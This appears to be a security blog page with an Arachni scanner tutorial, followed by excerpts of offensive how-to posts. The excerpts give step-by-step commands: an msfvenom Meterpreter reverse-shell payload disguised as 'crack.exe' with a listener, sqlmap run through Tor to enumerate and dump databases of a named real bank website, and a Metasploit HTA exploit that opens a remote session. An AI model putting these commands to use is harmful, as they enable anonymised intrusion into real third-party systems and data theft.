Scan Websites for Vulnerabilities with Arachni

ARACHNI


Arachni is a tool that allows you to assess the security of web applications. In less simple terms, Arachni is a high-performance, modular, Open Source Web Application Security Scanner Framework.

It is a system which started out as an educational exercise and as a way to perform specific security tests against a web application in order to identify, classify and log issues of security interest. It has now evolved into an infrastructure which can reliably perform any sort of WebApp related security audit and general data scraping.

Requirement: Windows 10 and Power Shell

STEP 1: Download

STEP 2: Extract

Extract and navigate to the bin folder inside Arachni folder


STEP 3: Fire-up the web interface by executing the following command

.\arachni_web.bat

It will start the local server, copy the link and open it in any browser:



STEP 3: Start a scan

Set the target url and start the scan



STEP 4: Reporting

Download the report in multiple formats from the download section

Modules

Arachni has over 40 audit (active) and recon (passive) modules which identify and log entities of security and informational interest. These entities range from serious vulnerabilities (code injection, XSS, SQL injection and many more) to simple data scrapping (e-mail addresses, client-side code comments, etc.).

An XSS module would be an audit module because it needs to send input to the web application and evaluate the output.

A module that looks for common directories, like “admin”, is a recon module because it does not interact with the web application. The same applies for a module that scans the web application’s pages for visible e-mail addresses.The difference between the two types is purely behavioral, technically they are the same and they share the same API.A full list of modules can be found at: http://arachni.segfault.gr/overview/modules

Plug-ins

Arachni offers plug-ins to help automate several tasks ranging from logging-in to a web application to performing high-level meta-analysis by cross-referencing scan results with a large number of environmental data.Via the framework they have access to all Arachni subsystems and can alter or extend Arachni’s behavior on the fly.Plug-ins run in parallel to the framework and are executed right before the scan process starts.

  1. Very useful. Thank you for providing such a great information.

  2. i'm using OWASP ZAP for the same.
    so which one is more reliable in terms of performance?

    1. Both are good, but the chances of getting false positive is less in arachni

Exploiting Windows 10

Exploiting Windows 10 (latest update) using metasploit (in KALI): Cyberator Introduction: The Metasploit Framework is the most commonly-used framework for hackers worldwide. It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. In this article, we’ll look at how this framework within Kali Linux can be used to attack a Windows 10 machine.  This article assumes the installation of Kali Linux has been done and is reachable through a bridged connection from a Windows machine on Virtual-box. Step 1: - Open terminal in Kali and type the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp lport=8080 lhost=<your IP> -f exe > /root/Desktop/crack.exe Step 2: - Open terminal in Kali and type the following commands     msfdb init    msfconsole    use exploit/multi/handler    set payload windows/x64/meterpreter/reverse_tcp    set lport 8080    set lhost <your IP address>    exploit S

SQLMAP - Using TOR proxy

Using SQLMAP with TOR OS: Windows 10 Compiler : Python 3.x Script : SQLMAP Proxy: TOR STEP 1: Download and install TOR  https://www.torproject.org/download/ STEP 2: Install TOR and Start TOR services After installing Tor, a new folder of Tor will be created (Desktop in my case) Navigate to the following location and start tor.exe Desktop\Tor Browser\Browser\TorBrowser\Tor STEP 3: Follow my previous post on SQLMAP to find a target Navigate to the SQLMAP folder in power shell. Execute the following commands- python .\sqlmap.py --tor --tor-type=SOCKS5 -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B021A9F2C-951C-B9F7-D1B6-805BA07752DB%7D" --dbs STEP 4: Follow the same steps as in my previous post on SQLMAP to find Database names, Table names and dump the Tables. Just add the following option in it: .\sqlmap.py --tor --tor-type=SOCKS5 SQLMAP OPTIONS # Enumerate databases sqlmap --dbms=mysql -u " $URL " --dbs # Enumerate tables sqlmap --dbms=

Metasploit HTA exploit

Today, I will give you a demo of the new Windows Hta_Server RCE exploit that allows hackers / penetration testers to have remote access to a windows computer. The exploit was publicly disclosed in late 2016 but was not noticed to the public eye till late 2018. It can be found and used easily by using Metasploit on a Kali-Linux distribution. STEP 1: Check your IP configuration (in this practical I have kept it on Bridge) STEP 2: Fire-up msfconsole in the kali terminal and search for hta_server Commands : service apache2 start msfconsole search HTA use exploit/windows/misc/hta_server STEP 3: Set all the values in the Metasploit variables. Commands: set SRVHOST <Your IP> exploit STEP 4: Open powershell in windows and execute the following command (in your case different URL will be generated):  .\mshta.exe http://192.168.43.15:8080/Zhh7aIVVD.hta As the command gets executed it will open up a session in msfconsole. You can view the session using the following command: sessions -l and
